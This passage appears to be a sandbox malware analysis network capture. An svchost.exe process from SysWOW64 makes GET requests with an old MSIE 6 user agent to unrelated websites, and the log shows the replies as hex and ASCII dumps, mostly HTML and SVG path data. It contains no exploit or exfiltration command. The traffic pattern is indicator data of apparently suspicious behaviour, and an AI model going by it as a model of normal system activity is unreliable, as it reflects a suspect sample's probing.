2023-05-31 12:51:51 UTC	2	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	50586	75.2.95.235	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:04 UTC	5528	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: ldh.la.gov
2023-05-31 12:52:04 UTC	5528	IN	HTTP/1.1 406 Not Acceptable Date: Wed, 31 May 2023 12:52:04 GMT Content-Type: text/html Content-Length: 1346 Connection: close Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET
2023-05-31 12:52:04 UTC	5528	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 36 20 2d 20 43 6c 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>406 - Cli

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	50932	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:05 UTC	5529	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net
2023-05-31 12:52:06 UTC	5529	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 May 2023 12:52:06 GMT Content-Type: text/html Content-Length: 2599149 Connection: close Last-Modified: Tue, 08 Nov 2022 00:53:41 GMT ETag: "27a8ed-5eceaf89b8f40" Accept-Ranges: bytes
2023-05-31 12:52:06 UTC	5530	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 77 65 62 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 77 65 62 73 69 74 65 23 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: <!DOCTYPE html><html lang="ja"> <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# website: http://ogp.me/ns/website#"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="wi
2023-05-31 12:52:06 UTC	5545	IN	Data Raw: 77 69 64 74 68 3a 31 2e 30 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 32 2c 2e 63 6c 73 2d 31 36 33 7b 66 69 6c 6c 3a 23 39 32 64 31 64 37 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 35 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 39 37 70 78 3b 7d 2e 63 6c 73 2d 31 36 32 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 31 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 33 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 32 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 34 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 35 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 35 7b 66 69 6c 6c 3a 23 65 65 65 39 34 32 3b 7d 2e 63 6c 73 2d 31 36 36 7b 66 69 6c 6c 3a 23 65 34 38 32 37 65 3b 7d 2e 63 6c 73 2d 31 36 37 7b 66 69 6c 6c 3a 23 38 36 63 64 64 34 3b 7d 2e 63 Data Ascii: width:1.04px;}.cls-161,.cls-162,.cls-163{fill:#92d1d7;}.cls-161,.cls-165{stroke-width:0.97px;}.cls-162{stroke-width:1.15px;}.cls-163{stroke-width:1.25px;}.cls-164{stroke-width:1.54px;}.cls-165{fill:#eee942;}.cls-166{fill:#e4827e;}.cls-167{fill:#86cdd4;}.c
2023-05-31 12:52:06 UTC	5561	IN	Data Raw: 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 38 33 2c 31 39 35 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 36 2c 31 38 38 2e 31 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 Data Ascii: 1,.15,2.86"/><path class="cls-4" d="M692.83,195a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M692.6,188.1a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94
2023-05-31 12:52:06 UTC	5577	IN	Data Raw: 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 33 35 2c 32 36 33 2e 34 31 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 31 32 2c 32 35 36 2e 34 38 61 31 Data Ascii: 2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M723.35,263.41a1.71,1.71,0,0,1-.77,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M723.12,256.48a1
2023-05-31 12:52:06 UTC	5593	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e Data Ascii: ,0,0,1,.51-2.89,2.
2023-05-31 12:52:07 UTC	5593	IN	Data Raw: 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 38 38 2c 33 33 31 2e 37 39 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 36 34 2c 33 32 34 2e 38 36 61 31 2e 37 31 2c 31 2e 37 31 Data Ascii: 24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M753.88,331.79a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M753.64,324.86a1.71,1.71
2023-05-31 12:52:07 UTC	5609	IN	Data Raw: 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 37 39 2c 32 30 36 2e 32 37 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 35 35 2c Data Ascii: ,1,.51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M770.79,206.27a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M770.55,
2023-05-31 12:52:07 UTC	5625	IN	Data Raw: 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 31 2e 33 31 2c 32 37 34 2e 36 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: 34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M801.31,274.66a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.52-2.89,2.24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class
2023-05-31 12:52:07 UTC	5641	IN	Data Raw: 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 31 2e 38 34 2c 33 34 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 2f 3e 3c 70 Data Ascii: 1,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M831.84,343a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"/><p
2023-05-31 12:52:07 UTC	5657	IN	Data Raw: 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 38 2e 37 35 2c 32 31 37 2e 35 32 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c Data Ascii: 73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.41,2.41,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M848.75,217.52a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,
2023-05-31 12:52:07 UTC	5673	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 35 2c 32 39 32 2e 38 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e Data Ascii: cls-4" d="M879.5,292.83a1.72,1.72,0,0,1-.77,2.24,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.
2023-05-31 12:52:07 UTC	5689	IN	Data Raw: 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 30 2c 33 36 31 2e 32 31 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 39 2e 37 39 2c 33 35 34 2e 32 38 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 Data Ascii: 2.86"/><path class="cls-4" d="M910,361.21a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M909.79,354.28a1.71,1.71,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.3
2023-05-31 12:52:07 UTC	5705	IN	Data Raw: 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 39 34 2c 32 33 35 2e 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 37 2c 32 32 38 2e 37 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 Data Ascii: 9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M926.94,235.7a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M926.7,228.76a1.72,1.72,0,0,1-.78,2.24,2
2023-05-31 12:52:07 UTC	5721	IN	Data Raw: 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 31 31 2c 31 37 30 2e 35 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 33 34 2c 31 37 37 2e 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 Data Ascii: 82"/><path class="cls-4" d="M1027.11,170.57a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M1027.34,177.4a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2
2023-05-31 12:52:07 UTC	5737	IN	Data Raw: 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 31 30 2e 36 39 2c 33 30 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 39 37 2e 35 31 2c 31 31 36 2e 38 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 Data Ascii: -.16-2.81"/><path class="cls-4" d="M1010.69,301a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"/><path class="cls-4" d="M997.51,116.88a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.3
2023-05-31 12:52:07 UTC	5753	IN	Data Raw: 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 2e 30 39 2c 32 34 37 2e 33 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 Data Ascii: .37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M981.09,247.32a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M981
